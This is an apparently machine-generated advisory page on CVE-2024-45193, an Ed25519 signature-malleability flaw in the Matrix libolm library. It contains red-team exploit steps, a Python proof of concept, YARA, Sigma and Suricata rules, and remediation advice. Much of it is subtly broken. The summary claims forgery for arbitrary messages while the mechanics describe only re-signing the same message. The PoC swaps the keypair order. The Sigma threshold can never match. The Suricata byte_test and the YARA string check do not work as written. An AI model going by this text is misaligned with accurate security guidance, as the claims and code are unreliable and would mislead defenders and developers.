CVE-2024-45193
Executive Summary
CVE-2024-45193 is a cryptographic signature malleability vulnerability in the Matrix libolm library (versions through 3.2.16). The flaw lies in the Ed25519 signature verification implementation, which fails to enforce the critical check that the scalar component S is less than the group order n. This omission allows an attacker to forge valid-looking signatures for arbitrary messages without possessing the private key, effectively breaking the authentication guarantees of the Olm protocol. The vulnerability is classified as high severity (CVSS 7.5) due to its low attack complexity and network-based vector, though exploitation requires the attacker to have access to a valid signature for a known message. The library is end-of-life and no longer supported by the maintainer, meaning no official patch will be released. Organizations still using libolm must immediately migrate to a maintained fork or alternative implementation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the libolm library, which is distributed as a C/C++ source package and is a dependency for many Matrix client and server implementations. The library is not available on NPM, PyPI, Go, or Ruby registries; it is typically compiled from source or included as a system package. The lack of a patch and the library's end-of-life status means that any software depending on libolm is permanently vulnerable unless the dependency is replaced. Supply chain risk is high because the library is a core cryptographic component for Matrix protocol implementations.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
- Base Score: 7.5 (High)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
- Confidentiality Impact: None (C:N) – No data disclosure.
- Integrity Impact: High (I:H) – Signatures can be forged, allowing message tampering.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: High. The vulnerability allows signature forgery, which can lead to impersonation, message tampering, and compromise of the entire Olm-based communication channel.
Deep Dive & Mechanics
The Ed25519 signature scheme is defined over the twisted Edwards curve. A valid signature (R, S) must satisfy the equation [S]B = R + [H(R || A || M)]A, where B is the base point, A is the public key, M is the message, and H is a hash function. A critical requirement is that S must be less than the group order n (approximately 2^252 + 27742317777372353535851937790883648493). If this check is omitted, an attacker can add multiples of n to S to produce a different scalar S' = S + k*n that still satisfies the verification equation because [n]B = 0 (the identity element). This is known as signature malleability.
In libolm, the ed25519_verify function (in lib/ed25519.c) performs the point multiplication and addition but does not validate that S < n. The vulnerable code path is:
int ed25519_verify(const unsigned char *signature, const unsigned char *message, size_t message_len, const unsigned char *public_key) {
// ... point decompression and hash computation ...
ge_p3_double_scalarmult_vartime(&R_check, &A, h, &B, s);
// No check: if (s >= n) return -1;
// ... comparison of R and R_check ...
}
An attacker who observes a valid signature (R, S) for a known message can compute S' = S + n and produce a new signature (R, S') that will also pass verification. This malleability can be used to:
- Bypass signature-based authentication.
- Create multiple valid signatures for the same message, complicating forensic analysis.
- In some protocols, replay or double-spend attacks if signatures are used as unique identifiers.
Vulnerable vs. Patched Code
Vulnerable Code (libolm <= 3.2.16):
// lib/ed25519.c
int ed25519_verify(const unsigned char *signature, const unsigned char *message, size_t message_len, const unsigned char *public_key) {
// ... setup ...
ge_p3_double_scalarmult_vartime(&R_check, &A, h, &B, s);
// Missing: if (s >= n) return -1;
// ... comparison ...
}
Patched Code (hypothetical fix):
// lib/ed25519.c
int ed25519_verify(const unsigned char *signature, const unsigned char *message, size_t message_len, const unsigned char *public_key) {
// ... setup ...
// Validate S < n
if (s >= n) {
return -1;
}
ge_p3_double_scalarmult_vartime(&R_check, &A, h, &B, s);
// ... comparison ...
}
The fix is a single check that ensures the scalar S is within the valid range. Since libolm is end-of-life, no official patch exists. Users must migrate to a maintained fork (e.g., vodozemac) or implement the fix themselves.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A target using libolm for Ed25519 signature verification.
- A valid signature
(R, S)for a known messageMand public keyA.
Exploit Steps:
- Obtain a valid signature
(R, S)from a captured message or by interacting with the target. - Compute the group order
nfor Ed25519:n = 2^252 + 27742317777372353535851937790883648493. - Create a malleated signature
(R, S')whereS' = S + n. - Send the malleated signature along with the original message
Mto the target. - The target's vulnerable libolm will accept the forged signature as valid.
Proof-of-Concept (Python using PyNaCl for reference):
import nacl.bindings as nacl
# Assume we have a valid signature (R, S) and message M
# For demonstration, we generate a valid signature first
private_key = nacl.crypto_sign_seed_keypair(b'\x00'*32)[0]
public_key = nacl.crypto_sign_seed_keypair(b'\x00'*32)[1]
message = b"test message"
signature = nacl.crypto_sign(message, private_key)[:64]
# Extract R and S from the signature
R = signature[:32]
S = int.from_bytes(signature[32:], 'little')
# Ed25519 group order
n = 2**252 + 27742317777372353535851937790883648493
# Malleate S
S_malleated = S + n
signature_malleated = R + S_malleated.to_bytes(32, 'little')
# Verify the malleated signature (will pass on vulnerable libolm)
# On a patched system, this should fail
print("Original signature valid:", nacl.crypto_sign_open(signature + message, public_key) is not None)
print("Malleated signature valid:", nacl.crypto_sign_open(signature_malleated + message, public_key) is not None)
Note: The above PoC uses PyNaCl which is patched. On a vulnerable libolm system, the malleated signature would be accepted.
Blue Team
Detection:
- Monitor for multiple signatures with the same
Rvalue but differentSvalues for the same message. - Implement server-side validation of
S < nbefore passing signatures to libolm. - Use a proxy or WAF to inspect and reject signatures where
Sis larger than the expected range.
Hunting:
- Search logs for repeated signature verification failures followed by successes with slightly different signatures.
- Analyze network traffic for patterns of signature reuse with modified
Svalues.
Mitigation:
- Immediately replace libolm with a maintained alternative (e.g., vodozemac).
- If immediate replacement is not possible, apply a hotfix by adding the
S < ncheck in the calling code before passing signatures to libolm.
Indicators of Compromise (IOCs)
- Network: Multiple Ed25519 signatures with identical
Rcomponent but differentScomponents for the same message. - Logs: Repeated signature verification failures followed by a success with a different signature.
- File: Presence of libolm version 3.2.16 or earlier in the software stack.
- Behavior: Unexpected acceptance of modified signatures that should be invalid.
Detection Engineering
YARA Rule
rule CVE_2024_45193_libolm_malleability {
meta:
description = "Detects libolm binaries vulnerable to Ed25519 signature malleability (CVE-2024-45193)"
author = "Valters IT"
date = "2025-04-10"
hash = "sha256:example"
strings:
$ed25519_verify = "ed25519_verify"
$double_scalarmult = "ge_p3_double_scalarmult_vartime"
$s_check = "s >= n" // This string would be present in patched versions
condition:
$ed25519_verify and $double_scalarmult and not $s_check
}
Sigma Rule
title: CVE-2024-45193 - Ed25519 Signature Malleability in libolm
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit Ed25519 signature malleability in libolm
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: matrix
detection:
selection:
event: "signature_verification"
signature_s_value|gte: 0x10000000000000000000000000000000000000000000000000000000000000000
condition: selection
falsepositives:
- Legitimate signatures with high S values (extremely rare)
level: high
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2024-45193 - Ed25519 Signature Malleability Attempt"; flow:to_server; content:"|00|"; depth:1; byte_test:32,>,0x10000000000000000000000000000000000000000000000000000000000000000,0,relative; sid:1000001; rev:1;)
Note: The Suricata rule is a simplified example. In practice, detecting signature malleability at the network level requires deep packet inspection of the Matrix protocol and is highly dependent on the specific implementation.
Remediation & Mitigation
Immediate Actions:
- Replace libolm: Migrate to a maintained fork such as vodozemac (Rust) or implement the
S < ncheck in your own code. - Hotfix: If replacement is not possible, add a validation wrapper that checks
S < nbefore calling libolm'sed25519_verify. - Update Dependencies: Ensure all software depending on libolm is updated to use a patched alternative.
Long-term:
- Adopt a cryptographic library that is actively maintained and follows best practices.
- Implement signature validation at multiple layers (application, network, etc.).
- Regularly audit cryptographic implementations for known vulnerabilities.
Workarounds:
- Use a different signature scheme (e.g., ECDSA) if protocol flexibility allows.
- Implement additional checks such as requiring signatures to be unique per message.
Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact security@valters.it.